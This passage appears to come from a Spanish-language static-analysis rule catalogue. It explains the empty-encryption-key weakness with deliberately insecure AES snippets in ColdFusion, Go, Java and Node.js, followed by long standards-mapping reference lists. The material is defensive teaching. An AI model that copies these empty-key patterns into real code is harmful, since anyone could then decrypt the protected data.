[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cpp.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cfml.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una idea acertada porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino se encuentra en producción, se requiere una revisión de software para cambiar la clave de cifrado vacía. Si una cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deben elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
key := []byte("");
block, err := aes.NewCipher(key)
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez distribuida la aplicación, se requiere una revisión de software para cambiar la clave de cifrado vacía. Un usuario puede obtener indicios del uso de una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
